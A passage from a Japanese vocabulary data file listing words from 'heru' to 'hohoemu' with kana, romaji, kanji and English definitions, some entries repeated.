deprecate oneself and praise the listener\"\n\t},\n\n\t{\n\t\t'kana':'へる',\n\t\t'romaji':'heru',\n\t\t'kanji':'経る',\n\t\t'definition':\"to pass;to elapse;to experience\"\n\t},\n\n\t{\n\t\t'kana':'へる',\n\t\t'romaji':'heru',\n\t\t'kanji':'経る',\n\t\t'definition':\"to pass;to elapse;to experience\"\n\t},\n\n\t{\n\t\t'kana':'へる',\n\t\t'romaji':'heru',\n\t\t'kanji':'減る',\n\t\t'definition':\"to decrease (in size or number);to diminish;to abate\"\n\t},\n\n\t{\n\t\t'kana':'へそ',\n\t\t'romaji':'heso',\n\t\t'kanji':'臍',\n\t\t'definition':\"navel;belly-button\"\n\t},\n\n\t{\n\t\t'kana':'へた',\n\t\t'romaji':'heta',\n\t\t'kanji':'下手',\n\t\t'definition':\"unskillful;poor;awkward\"\n\t},\n\n\t{\n\t\t'kana':'へや',\n\t\t'romaji':'heya',\n\t\t'kanji':'部屋',\n\t\t'definition':\"room\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'費',\n\t\t'definition':\"cost;expense\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'非',\n\t\t'definition':\"faulty-;non-\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'日',\n\t\t'definition':\"sun;sunshine;day\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'日',\n\t\t'definition':\"sun;sunshine;day\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'日',\n\t\t'definition':\"sun;sunshine;day\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'火',\n\t\t'definition':\"fire;flame;blaze\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'火',\n\t\t'definition':\"fire;flame;blaze\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'日',\n\t\t'definition':\"sun;sunshine;day\"\n\t},\n\n\t{\n\t\t'kana':'ひ',\n\t\t'romaji':'hi',\n\t\t'kanji':'日',\n\t\t'definition':\"sun;sunshine;day\"\n\t},\n\n\t{\n\t\t'kana':'ひばな',\n\t\t'romaji':'hibana',\n\t\t'kanji':'火花',\n\t\t'definition':\"spark\"\n\t},\n\n\t{\n\t\t'kana':'ひび',\n\t\t'romaji':'hibi',\n\t\t'kanji':'日々',\n\t\t'definition':\"every day;daily;day after day\"\n\t},\n\n\t{\n\t\t'kana':'ひびき',\n\t\t'romaji':'hibiki',\n\t\t'kanji':'響き',\n\t\t'definition':\"echo;sound;reverberation;noise\"\n\t},\n\n\t{\n\t\t'kana':'ひびく',\n\t\t'romaji':'hibiku',\n\t\t'kanji':'響く',\n\t\t'definition':\"to resound\"\n\t},\n\n\t{\n\t\t'kana':'ひだり',\n\t\t'romaji':'hidari',\n\t\t'kanji':'左',\n\t\t'definition':\"left hand side\"\n\t},\n\n\t{\n\t\t'kana':'ひだりきき',\n\t\t'romaji':'hidarikiki',\n\t\t'kanji':'左利き',\n\t\t'definition':\"left-handedness;sake drinker;left-hander\"\n\t},\n\n\t{\n\t\t'kana':'ひどい',\n\t\t'romaji':'hidoi',\n\t\t'kanji':'酷い',\n\t\t'definition':\"cruel;awful;severe;very bad;serious;terrible;heavy;violent\"\n\t},\n\n\t{\n\t\t'kana':'ひどり',\n\t\t'romaji':'hidori',\n\t\t'kanji':'日取り',\n\t\t'definition':\"fixed date;appointed day\"\n\t},\n\n\t{\n\t\t'kana':'ひえる',\n\t\t'romaji':'hieru',\n\t\t'kanji':'冷える',\n\t\t'definition':\"to grow cold;to get chilly;to cool down\"\n\t},\n\n\t{\n\t\t'kana':'ひふ',\n\t\t'romaji':'hifu',\n\t\t'kanji':'皮膚',\n\t\t'definition':\"skin\"\n\t},\n\n\t{\n\t\t'kana':'ひがえり',\n\t\t'romaji':'higaeri',\n\t\t'kanji':'日帰り',\n\t\t'definition':\"day trip\"\n\t},\n\n\t{\n\t\t'kana':'ひがい',\n\t\t'romaji':'higai',\n\t\t'kanji':'被害',\n\t\t'definition':\"damage\"\n\t},\n\n\t{\n\t\t'kana':'ひげ',\n\t\t'romaji':'hige',\n\t\t'kanji':'髭',\n\t\t'definition':\"moustache;beard;whiskers\"\n\t},\n\n\t{\n\t\t'kana':'ひげき',\n\t\t'romaji':'higeki',\n\t\t'kanji':'悲劇',\n\t\t'definition':\"tragedy\"\n\t},\n\n\t{\n\t\t'kana':'ひごろ',\n\t\t'romaji':'higoro',\n\t\t'kanji':'日頃',\n\t\t'definition':\"normally;habitually\"\n\t},\n\n\t{\n\t\t'kana':'ひはん',\n\t\t'romaji':'hihan',\n\t\t'kanji':'批判',\n\t\t'definition':\"criticism;judgement;comment\"\n\t},\n\n\t{\n\t\t'kana':'ひひょう',\n\t\t'romaji':'hihyou',\n\t\t'kanji':'批評',\n\t\t'definition':\"criticism;review;commentary\"\n\t},\n\n\t{\n\t\t'kana':'ひいては',\n\t\t'romaji':'hiiteha',\n\t\t'kanji':'延いては',\n\t\t'definition':\"not only...but also;in addition to;consequently\"\n\t},\n\n\t{\n\t\t'kana':'ひじ',\n\t\t'romaji':'hiji',\n\t\t'kanji':'肘',\n\t\t'definition':\"elbow\"\n\t},\n\n\t{\n\t\t'kana':'ひじょう',\n\t\t'romaji':'hijyou',\n\t\t'kanji':'非常',\n\t\t'definition':\"emergency;extraordinary;unusual\"\n\t},\n\n\t{\n\t\t'kana':'ひじょう',\n\t\t'romaji':'hijyou',\n\t\t'kanji':'非常',\n\t\t'definition':\"emergency;extraordinary;unusual\"\n\t},\n\n\t{\n\t\t'kana':'ひじゅう',\n\t\t'romaji':'hijyuu',\n\t\t'kanji':'比重',\n\t\t'definition':\"specific gravity\"\n\t},\n\n\t{\n\t\t'kana':'ひかえる',\n\t\t'romaji':'hikaeru',\n\t\t'kanji':'控える',\n\t\t'definition':\"to draw in;to hold back;to make notes;to be temperate in\"\n\t},\n\n\t{\n\t\t'kana':'ひかえしつ',\n\t\t'romaji':'hikaeshitsu',\n\t\t'kanji':'控室',\n\t\t'definition':\"waiting room\"\n\t},\n\n\t{\n\t\t'kana':'ひかげ',\n\t\t'romaji':'hikage',\n\t\t'kanji':'日陰',\n\t\t'definition':\"shadow\"\n\t},\n\n\t{\n\t\t'kana':'ひかく',\n\t\t'romaji':'hikaku',\n\t\t'kanji':'比較',\n\t\t'definition':\"comparison\"\n\t},\n\n\t{\n\t\t'kana':'ひかくてき',\n\t\t'romaji':'hikakuteki',\n\t\t'kanji':'比較的',\n\t\t'definition':\"comparatively;relatively\"\n\t},\n\n\t{\n\t\t'kana':'ひかん',\n\t\t'romaji':'hikan',\n\t\t'kanji':'悲観',\n\t\t'definition':\"pessimism;disappointment\"\n\t},\n\n\t{\n\t\t'kana':'ひかり',\n\t\t'romaji':'hikari',\n\t\t'kanji':'光',\n\t\t'definition':\"light\"\n\t},\n\n\t{\n\t\t'kana':'ひかり',\n\t\t'romaji':'hikari',\n\t\t'kanji':'光',\n\t\t'definition':\"light\"\n\t},\n\n\t{\n\t\t'kana':'ひかる',\n\t\t'romaji':'hikaru',\n\t\t'kanji':'光る',\n\t\t'definition':\"to shine;to glitter;to be bright\"\n\t},\n\n\t{\n\t\t'kana':'ひけつ',\n\t\t'romaji':'hiketsu',\n\t\t'kanji':'否決',\n\t\t'definition':\"rejection;negation;voting down\"\n\t},\n\n\t{\n\t\t'kana':'ひっき',\n\t\t'romaji':'hiki',\n\t\t'kanji':'筆記',\n\t\t'definition':\"(taking) notes;copying\"\n\t},\n\n\t{\n\t\t'kana':'ひき',\n\t\t'romaji':'hiki',\n\t\t'kanji':'匹',\n\t\t'definition':\"head;small animal counter;roll of cloth\"\n\t},\n\n\t{\n\t\t'kana':'ひきあげる',\n\t\t'romaji':'hikiageru',\n\t\t'kanji':'引き上げる',\n\t\t'definition':\"to withdraw;to leave;to pull out;to retire\"\n\t},\n\n\t{\n\t\t'kana':'ひきだし',\n\t\t'romaji':'hikidashi',\n\t\t'kanji':'引き出し',\n\t\t'definition':\"drawer;drawing out\"\n\t},\n\n\t{\n\t\t'kana':'ひきだす',\n\t\t'romaji':'hikidasu',\n\t\t'kanji':'引き出す',\n\t\t'definition':\"to pull out;to take out;to draw out;to withdraw\"\n\t},\n\n\t{\n\t\t'kana':'ひきいる',\n\t\t'romaji':'hikiiru',\n\t\t'kanji':'率いる',\n\t\t'definition':\"to lead;to spearhead (a group);to command (troops)\"\n\t},\n\n\t{\n\t\t'kana':'ひきかえす',\n\t\t'romaji':'hikikaesu',\n\t\t'kanji':'引き返す',\n\t\t'definition':\"to repeat;to send back;to bring back;to retrace one's steps\"\n\t},\n\n\t{\n\t\t'kana':'ひきおこす',\n\t\t'romaji':'hikiokosu',\n\t\t'kanji':'引き起こす',\n\t\t'definition':\"to cause\"\n\t},\n\n\t{\n\t\t'kana':'ひきさげる',\n\t\t'romaji':'hikisageru',\n\t\t'kanji':'引き下げる',\n\t\t'definition':\"to pull down;to lower;to reduce;to withdraw\"\n\t},\n\n\t{\n\t\t'kana':'ひきとめる',\n\t\t'romaji':'hikitomeru',\n\t\t'kanji':'引き止める',\n\t\t'definition':\"to detain;to check;to restrain\"\n\t},\n\n\t{\n\t\t'kana':'ひきとる',\n\t\t'romaji':'hikitoru',\n\t\t'kanji':'引き取る',\n\t\t'definition':\"to take charge of;to take over;to retire to a private place\"\n\t},\n\n\t{\n\t\t'kana':'ひきうける',\n\t\t'romaji':'hikiukeru',\n\t\t'kanji':'引き受ける',\n\t\t'definition':\"to undertake;to take up;to take over;to be responsible for;to guarantee;to contract (disease)\"\n\t},\n\n\t{\n\t\t'kana':'ひきわけ',\n\t\t'romaji':'hikiwake',\n\t\t'kanji':'引き分け',\n\t\t'definition':\"a draw (in competition);tie game\"\n\t},\n\n\t{\n\t\t'kana':'ひきざん',\n\t\t'romaji':'hikizan',\n\t\t'kanji':'引算',\n\t\t'definition':\"subtraction\"\n\t},\n\n\t{\n\t\t'kana':'ひきずる',\n\t\t'romaji':'hikizuru',\n\t\t'kanji':'引きずる',\n\t\t'definition':\"to seduce;to drag along;to pull;to prolong;to support\"\n\t},\n\n\t{\n\t\t'kana':'ひっかかる',\n\t\t'romaji':'hikkakaru',\n\t\t'kanji':'引っ掛かる',\n\t\t'definition':\"to be caught in;to be stuck in;to be cheated\"\n\t},\n\n\t{\n\t\t'kana':'ひっかける',\n\t\t'romaji':'hikkakeru',\n\t\t'kanji':'引っ掛ける',\n\t\t'definition':\"1. to hang (something) on (something);to throw on (clothes); 2. to hook;to catch;to trap;to ensnare; 3. to cheat;to evade payment;to jump a bill; 4. to drink (alcohol); 5. to spit at (a person); 6. to hit the ball off the end of the bat (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'ひっかく',\n\t\t'romaji':'hikkaku',\n\t\t'kanji':'引っ掻く',\n\t\t'definition':\"to scratch\"\n\t},\n\n\t{\n\t\t'kana':'ひっこむ',\n\t\t'romaji':'hikkomu',\n\t\t'kanji':'引っ込む',\n\t\t'definition':\"to draw back;to sink;to cave in\"\n\t},\n\n\t{\n\t\t'kana':'ひっこし',\n\t\t'romaji':'hikkoshi',\n\t\t'kanji':'引越し',\n\t\t'definition':\"moving (dwelling office etc.);changing residence\"\n\t},\n\n\t{\n\t\t'kana':'ひっこす',\n\t\t'romaji':'hikkosu',\n\t\t'kanji':'引っ越す',\n\t\t'definition':\"to move;to change residence\"\n\t},\n\n\t{\n\t\t'kana':'ひっくりかえる',\n\t\t'romaji':'hikkurikaeru',\n\t\t'kanji':'引っ繰り返る',\n\t\t'definition':\"to be overturned;to be upset;to topple over;to be reversed\"\n\t},\n\n\t{\n\t\t'kana':'ひっくりかえす',\n\t\t'romaji':'hikkurikaesu',\n\t\t'kanji':'引っ繰り返す',\n\t\t'definition':\"to turn over;to overturn;to knock over;to upset;to turn inside out\"\n\t},\n\n\t{\n\t\t'kana':'ひこう',\n\t\t'romaji':'hikou',\n\t\t'kanji':'飛行',\n\t\t'definition':\"aviation\"\n\t},\n\n\t{\n\t\t'kana':'ひこう',\n\t\t'romaji':'hikou',\n\t\t'kanji':'非行',\n\t\t'definition':\"delinquency;misconduct\"\n\t},\n\n\t{\n\t\t'kana':'ひこうじょう',\n\t\t'romaji':'hikoujyou',\n\t\t'kanji':'飛行場',\n\t\t'definition':\"airport\"\n\t},\n\n\t{\n\t\t'kana':'ひく',\n\t\t'romaji':'hiku',\n\t\t'kanji':'轢く',\n\t\t'definition':\"to run somebody over (with vehicle);to knock someone down\"\n\t},\n\n\t{\n\t\t'kana':'ひく',\n\t\t'romaji':'hiku',\n\t\t'kanji':'引く',\n\t\t'definition':\"minus;to pull;to play (string instr.)\"\n\t},\n\n\t{\n\t\t'kana':'ひくい',\n\t\t'romaji':'hikui',\n\t\t'kanji':'低い',\n\t\t'definition':\"short;low;humble;low (voice)\"\n\t},\n\n\t{\n\t\t'kana':'ひきょう',\n\t\t'romaji':'hikyou',\n\t\t'kanji':'卑怯',\n\t\t'definition':\"cowardice;meanness;unfairness\"\n\t},\n\n\t{\n\t\t'kana':'ひめい',\n\t\t'romaji':'himei',\n\t\t'kanji':'悲鳴',\n\t\t'definition':\"shriek;scream\"\n\t},\n\n\t{\n\t\t'kana':'ひみつ',\n\t\t'romaji':'himitsu',\n\t\t'kanji':'秘密',\n\t\t'definition':\"secret;secrecy\"\n\t},\n\n\t{\n\t\t'kana':'ひも',\n\t\t'romaji':'himo',\n\t\t'kanji':'紐',\n\t\t'definition':\"string;cord;pimp\"\n\t},\n\n\t{\n\t\t'kana':'ひな',\n\t\t'romaji':'hina',\n\t\t'kanji':'雛',\n\t\t'definition':\"young bird;chick;doll\"\n\t},\n\n\t{\n\t\t'kana':'ひなまつり',\n\t\t'romaji':'hinamatsuri',\n\t\t'kanji':'雛祭',\n\t\t'definition':\"Girls' (dolls') Festival\"\n\t},\n\n\t{\n\t\t'kana':'ひなん',\n\t\t'romaji':'hinan',\n\t\t'kanji':'避難',\n\t\t'definition':\"taking refuge;finding shelter\"\n\t},\n\n\t{\n\t\t'kana':'ひなん',\n\t\t'romaji':'hinan',\n\t\t'kanji':'非難',\n\t\t'definition':\"blame;attack;criticism\"\n\t},\n\n\t{\n\t\t'kana':'ひなた',\n\t\t'romaji':'hinata',\n\t\t'kanji':'日向',\n\t\t'definition':\"sunny place;in the sun\"\n\t},\n\n\t{\n\t\t'kana':'ひねる',\n\t\t'romaji':'hineru',\n\t\t'kanji':'捻る',\n\t\t'definition':\"to turn (a switch) on or off;to twist;to puzzle over\"\n\t},\n\n\t{\n\t\t'kana':'ひにち',\n\t\t'romaji':'hinichi',\n\t\t'kanji':'日日',\n\t\t'definition':\"the number of days\"\n\t},\n\n\t{\n\t\t'kana':'ひにく',\n\t\t'romaji':'hiniku',\n\t\t'kanji':'皮肉',\n\t\t'definition':\"cynicism;sarcasm\"\n\t},\n\n\t{\n\t\t'kana':'ひんじゃく',\n\t\t'romaji':'hinjyaku',\n\t\t'kanji':'貧弱',\n\t\t'definition':\"poor;meagre;insubstantial\"\n\t},\n\n\t{\n\t\t'kana':'ひんこん',\n\t\t'romaji':'hinkon',\n\t\t'kanji':'貧困',\n\t\t'definition':\"poverty;lack\"\n\t},\n\n\t{\n\t\t'kana':'ひので',\n\t\t'romaji':'hinode',\n\t\t'kanji':'日の出',\n\t\t'definition':\"sunrise\"\n\t},\n\n\t{\n\t\t'kana':'ひのいり',\n\t\t'romaji':'hinoiri',\n\t\t'kanji':'日の入り',\n\t\t'definition':\"sunset\"\n\t},\n\n\t{\n\t\t'kana':'ひのまる',\n\t\t'romaji':'hinomaru',\n\t\t'kanji':'日の丸',\n\t\t'definition':\"the Japanese flag\"\n\t},\n\n\t{\n\t\t'kana':'ひんぱん',\n\t\t'romaji':'hinpan',\n\t\t'kanji':'頻繁',\n\t\t'definition':\"frequency\"\n\t},\n\n\t{\n\t\t'kana':'ひんしつ',\n\t\t'romaji':'hinshitsu',\n\t\t'kanji':'品質',\n\t\t'definition':\"quality\"\n\t},\n\n\t{\n\t\t'kana':'ひんしゅ',\n\t\t'romaji':'hinshu',\n\t\t'kanji':'品種',\n\t\t'definition':\"brand;kind;description\"\n\t},\n\n\t{\n\t\t'kana':'ヒント',\n\t\t'romaji':'hinto',\n\t\t'kanji':'',\n\t\t'definition':\"hint\"\n\t},\n\n\t{\n\t\t'kana':'ひっぱる',\n\t\t'romaji':'hipparu',\n\t\t'kanji':'引っ張る',\n\t\t'definition':\"1. to pull;to draw;to stretch;to drag; 2. to pull the ball (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'ひらがな',\n\t\t'romaji':'hiragana',\n\t\t'kanji':'平仮名',\n\t\t'definition':\"hiragana;47 syllables;the cursive syllabary\"\n\t},\n\n\t{\n\t\t'kana':'ひらく',\n\t\t'romaji':'hiraku',\n\t\t'kanji':'開く',\n\t\t'definition':\"to open (e.g. a festival)\"\n\t},\n\n\t{\n\t\t'kana':'ひらたい',\n\t\t'romaji':'hiratai',\n\t\t'kanji':'平たい',\n\t\t'definition':\"flat;even;level;simple;plain\"\n\t},\n\n\t{\n\t\t'kana':'ひれい',\n\t\t'romaji':'hirei',\n\t\t'kanji':'比例',\n\t\t'definition':\"proportion\"\n\t},\n\n\t{\n\t\t'kana':'ひりつ',\n\t\t'romaji':'hiritsu',\n\t\t'kanji':'比率',\n\t\t'definition':\"ratio;proportion;percentage\"\n\t},\n\n\t{\n\t\t'kana':'ひろば',\n\t\t'romaji':'hiroba',\n\t\t'kanji':'広場',\n\t\t'definition':\"plaza\"\n\t},\n\n\t{\n\t\t'kana':'ひろびろ',\n\t\t'romaji':'hirobiro',\n\t\t'kanji':'広々',\n\t\t'definition':\"extensive;spacious\"\n\t},\n\n\t{\n\t\t'kana':'ひろがる',\n\t\t'romaji':'hirogaru',\n\t\t'kanji':'広がる',\n\t\t'definition':\"to spread (out);to extend;to stretch;to reach to;to get around\"\n\t},\n\n\t{\n\t\t'kana':'ひろげる',\n\t\t'romaji':'hirogeru',\n\t\t'kanji':'広げる',\n\t\t'definition':\"to spread;to extend;to expand;to enlarge;to widen;to broaden;to unfold;to open;to unroll\"\n\t},\n\n\t{\n\t\t'kana':'ひろい',\n\t\t'romaji':'hiroi',\n\t\t'kanji':'広い',\n\t\t'definition':\"spacious;vast;wide\"\n\t},\n\n\t{\n\t\t'kana':'ひろまる',\n\t\t'romaji':'hiromaru',\n\t\t'kanji':'広まる',\n\t\t'definition':\"to spread;to be propagated\"\n\t},\n\n\t{\n\t\t'kana':'ひろめる',\n\t\t'romaji':'hiromeru',\n\t\t'kanji':'広める',\n\t\t'definition':\"to broaden;to propagate\"\n\t},\n\n\t{\n\t\t'kana':'ひろさ',\n\t\t'romaji':'hirosa',\n\t\t'kanji':'広さ',\n\t\t'definition':\"extent\"\n\t},\n\n\t{\n\t\t'kana':'ひろう',\n\t\t'romaji':'hirou',\n\t\t'kanji':'拾う',\n\t\t'definition':\"to pick up;to find;to gather\"\n\t},\n\n\t{\n\t\t'kana':'ひろう',\n\t\t'romaji':'hirou',\n\t\t'kanji':'疲労',\n\t\t'definition':\"fatigue;weariness\"\n\t},\n\n\t{\n\t\t'kana':'ひる',\n\t\t'romaji':'hiru',\n\t\t'kanji':'昼',\n\t\t'definition':\"noon;daytime\"\n\t},\n\n\t{\n\t\t'kana':'ひるね',\n\t\t'romaji':'hirune',\n\t\t'kanji':'昼寝',\n\t\t'definition':\"nap (at home);siesta\"\n\t},\n\n\t{\n\t\t'kana':'ひりょう',\n\t\t'romaji':'hiryou',\n\t\t'kanji':'肥料',\n\t\t'definition':\"manure;fertilizer\"\n\t},\n\n\t{\n\t\t'kana':'ひさん',\n\t\t'romaji':'hisan',\n\t\t'kanji':'悲惨',\n\t\t'definition':\"misery\"\n\t},\n\n\t{\n\t\t'kana':'ひさしぶり',\n\t\t'romaji':'hisashiburi',\n\t\t'kanji':'久し振り',\n\t\t'definition':\"after a long time\"\n\t},\n\n\t{\n\t\t'kana':'ひさしい',\n\t\t'romaji':'hisashii',\n\t\t'kanji':'久しい',\n\t\t'definition':\"long;long-continued;old (story)\"\n\t},\n\n\t{\n\t\t'kana':'ひっしゃ',\n\t\t'romaji':'hisha',\n\t\t'kanji':'筆者',\n\t\t'definition':\"writer;author\"\n\t},\n\n\t{\n\t\t'kana':'ひっし',\n\t\t'romaji':'hishi',\n\t\t'kanji':'必死',\n\t\t'definition':\"inevitable death;desperation;frantic;inevitable result\"\n\t},\n\n\t{\n\t\t'kana':'ひしょ',\n\t\t'romaji':'hisho',\n\t\t'kanji':'秘書',\n\t\t'definition':\"(private) secretary\"\n\t},\n\n\t{\n\t\t'kana':'ひっしゅう',\n\t\t'romaji':'hishuu',\n\t\t'kanji':'必修',\n\t\t'definition':\"required (subject)\"\n\t},\n\n\t{\n\t\t'kana':'ひそか',\n\t\t'romaji':'hisoka',\n\t\t'kanji':'密か',\n\t\t'definition':\"secret;private;surreptitious\"\n\t},\n\n\t{\n\t\t'kana':'ひたす',\n\t\t'romaji':'hitasu',\n\t\t'kanji':'浸す',\n\t\t'definition':\"to soak;to dip;to drench\"\n\t},\n\n\t{\n\t\t'kana':'ひたすら',\n\t\t'romaji':'hitasura',\n\t\t'kanji':'一向',\n\t\t'definition':\"earnestly\"\n\t},\n\n\t{\n\t\t'kana':'ひてい',\n\t\t'romaji':'hitei',\n\t\t'kanji':'否定',\n\t\t'definition':\"negation;denial;repudiation\"\n\t},\n\n\t{\n\t\t'kana':'ひとどおり',\n\t\t'romaji':'hitodoori',\n\t\t'kanji':'人通り',\n\t\t'definition':\"pedestrian traffic\"\n\t},\n\n\t{\n\t\t'kana':'ひとえ',\n\t\t'romaji':'hitoe',\n\t\t'kanji':'単',\n\t\t'definition':\"one layer;single\"\n\t},\n\n\t{\n\t\t'kana':'ひとがら',\n\t\t'romaji':'hitogara',\n\t\t'kanji':'人柄',\n\t\t'definition':\"personality;character;personal appearance;gentility\"\n\t},\n\n\t{\n\t\t'kana':'ひとごみ',\n\t\t'romaji':'hitogomi',\n\t\t'kanji':'人込み',\n\t\t'definition':\"crowd of people\"\n\t},\n\n\t{\n\t\t'kana':'ひといき',\n\t\t'romaji':'hitoiki',\n\t\t'kanji':'一息',\n\t\t'definition':\"puffy;a breath;a pause;an effort\"\n\t},\n\n\t{\n\t\t'kana':'ひとじち',\n\t\t'romaji':'hitojichi',\n\t\t'kanji':'人質',\n\t\t'definition':\"hostage;prisoner\"\n\t},\n\n\t{\n\t\t'kana':'ひところ',\n\t\t'romaji':'hitokoro',\n\t\t'kanji':'一頃',\n\t\t'definition':\"once;some time ago\"\n\t},\n\n\t{\n\t\t'kana':'ひとまず',\n\t\t'romaji':'hitomazu',\n\t\t'kanji':'一まず',\n\t\t'definition':\"for the present;once;in outline\"\n\t},\n\n\t{\n\t\t'kana':'ひとみ',\n\t\t'romaji':'hitomi',\n\t\t'kanji':'瞳',\n\t\t'definition':\"pupil (of eye)\"\n\t},\n\n\t{\n\t\t'kana':'ひとり',\n\t\t'romaji':'hitori',\n\t\t'kanji':'独り',\n\t\t'definition':\"alone;unmarried\"\n\t},\n\n\t{\n\t\t'kana':'ひとりでに',\n\t\t'romaji':'hitorideni',\n\t\t'kanji':'一人でに',\n\t\t'definition':\"by itself;automatically;naturally\"\n\t},\n\n\t{\n\t\t'kana':'ひとりごと',\n\t\t'romaji':'hitorigoto',\n\t\t'kanji':'独り言',\n\t\t'definition':\"a soliloquy;a monologue;speaking to oneself\"\n\t},\n\n\t{\n\t\t'kana':'ひとりひとり',\n\t\t'romaji':'hitorihitori',\n\t\t'kanji':'一人一人',\n\t\t'definition':\"one by one;each;one at a time\"\n\t},\n\n\t{\n\t\t'kana':'ひとさしゆび',\n\t\t'romaji':'hitosashiyubi',\n\t\t'kanji':'人差指',\n\t\t'definition':\"index finger\"\n\t},\n\n\t{\n\t\t'kana':'ひとしい',\n\t\t'romaji':'hitoshii',\n\t\t'kanji':'等しい',\n\t\t'definition':\"equal\"\n\t},\n\n\t{\n\t\t'kana':'ひとすき',\n\t\t'romaji':'hitosuki',\n\t\t'kanji':'一筋',\n\t\t'definition':\"a line;earnestly;blindly;straightforwardly\"\n\t},\n\n\t{\n\t\t'kana':'ひととおり',\n\t\t'romaji':'hitotoori',\n\t\t'kanji':'一通り',\n\t\t'definition':\"ordinary;usual;in general;briefly\"\n\t},\n\n\t{\n\t\t'kana':'ひとつ',\n\t\t'romaji':'hitotsu',\n\t\t'kanji':'一つ',\n\t\t'definition':\"one\"\n\t},\n\n\t{\n\t\t'kana':'ひとやすみ',\n\t\t'romaji':'hitoyasumi',\n\t\t'kanji':'一休み',\n\t\t'definition':\"a rest\"\n\t},\n\n\t{\n\t\t'kana':'ひつじ',\n\t\t'romaji':'hitsuji',\n\t\t'kanji':'未',\n\t\t'definition':\"eighth sign of Chinese zodiac (The Ram 1pm-3pm south-southwest June)\"\n\t},\n\n\t{\n\t\t'kana':'ひつじゅひん',\n\t\t'romaji':'hitsujyuhin',\n\t\t'kanji':'必需品',\n\t\t'definition':\"necessities;necessary article;requisite;essential\"\n\t},\n\n\t{\n\t\t'kana':'ひつよう',\n\t\t'romaji':'hitsuyou',\n\t\t'kanji':'必要',\n\t\t'definition':\"necessary;essential;indispensable\"\n\t},\n\n\t{\n\t\t'kana':'ひつぜん',\n\t\t'romaji':'hitsuzen',\n\t\t'kanji':'必然',\n\t\t'definition':\"inevitable;necessary\"\n\t},\n\n\t{\n\t\t'kana':'ひってき',\n\t\t'romaji':'hitteki',\n\t\t'kanji':'匹敵',\n\t\t'definition':\"comparing with;match;rival;equal\"\n\t},\n\n\t{\n\t\t'kana':'ひやかす',\n\t\t'romaji':'hiyakasu',\n\t\t'kanji':'冷やかす',\n\t\t'definition':\"to banter;to make fun of;to jeer at;to cool;to refrigerate\"\n\t},\n\n\t{\n\t\t'kana':'ひやけ',\n\t\t'romaji':'hiyake',\n\t\t'kanji':'日焼け',\n\t\t'definition':\"sunburn\"\n\t},\n\n\t{\n\t\t'kana':'ひやす',\n\t\t'romaji':'hiyasu',\n\t\t'kanji':'冷やす',\n\t\t'definition':\"to cool;to refrigerate\"\n\t},\n\n\t{\n\t\t'kana':'ひよう',\n\t\t'romaji':'hiyou',\n\t\t'kanji':'費用',\n\t\t'definition':\"cost;expense\"\n\t},\n\n\t{\n\t\t'kana':'ひざ',\n\t\t'romaji':'hiza',\n\t\t'kanji':'膝',\n\t\t'definition':\"knee;lap\"\n\t},\n\n\t{\n\t\t'kana':'ひざし',\n\t\t'romaji':'hizashi',\n\t\t'kanji':'陽射',\n\t\t'definition':\"sunlight;rays of the sun\"\n\t},\n\n\t{\n\t\t'kana':'ほ',\n\t\t'romaji':'ho',\n\t\t'kanji':'穂',\n\t\t'definition':\"ear (of plant);head (of plant)\"\n\t},\n\n\t{\n\t\t'kana':'ほぼ',\n\t\t'romaji':'hobo',\n\t\t'kanji':'保母',\n\t\t'definition':\"day care worker in a kindergarten nursery school etc.\"\n\t},\n\n\t{\n\t\t'kana':'ほど',\n\t\t'romaji':'hodo',\n\t\t'kanji':'程',\n\t\t'definition':\"degree;extent;bounds;limit\"\n\t},\n\n\t{\n\t\t'kana':'ほどこす',\n\t\t'romaji':'hodokosu',\n\t\t'kanji':'施す',\n\t\t'definition':\"to donate;to give;to conduct;to apply;to perform\"\n\t},\n\n\t{\n\t\t'kana':'ほどく',\n\t\t'romaji':'hodoku',\n\t\t'kanji':'解く',\n\t\t'definition':\"to unfasten\"\n\t},\n\n\t{\n\t\t'kana':'ほどう',\n\t\t'romaji':'hodou',\n\t\t'kanji':'歩道',\n\t\t'definition':\"footpath;walkway;sidewalk\"\n\t},\n\n\t{\n\t\t'kana':'ほえる',\n\t\t'romaji':'hoeru',\n\t\t'kanji':'吠える',\n\t\t'definition':\"to bark;to bay;to howl;to bellow;to roar;to cry\"\n\t},\n\n\t{\n\t\t'kana':'ほがらか',\n\t\t'romaji':'hogaraka',\n\t\t'kanji':'朗らか',\n\t\t'definition':\"brightness;cheerfulness;melodious\"\n\t},\n\n\t{\n\t\t'kana':'ほげい',\n\t\t'romaji':'hogei',\n\t\t'kanji':'捕鯨',\n\t\t'definition':\"whaling;whale fishing\"\n\t},\n\n\t{\n\t\t'kana':'ほご',\n\t\t'romaji':'hogo',\n\t\t'kanji':'保護',\n\t\t'definition':\"care;protection;shelter;guardianship;favor;patronage\"\n\t},\n\n\t{\n\t\t'kana':'ほほえむ',\n\t\t'romaji':'hohoemu',\n\t\t'kanji':'微笑む',\n\t\t'definition':\"to 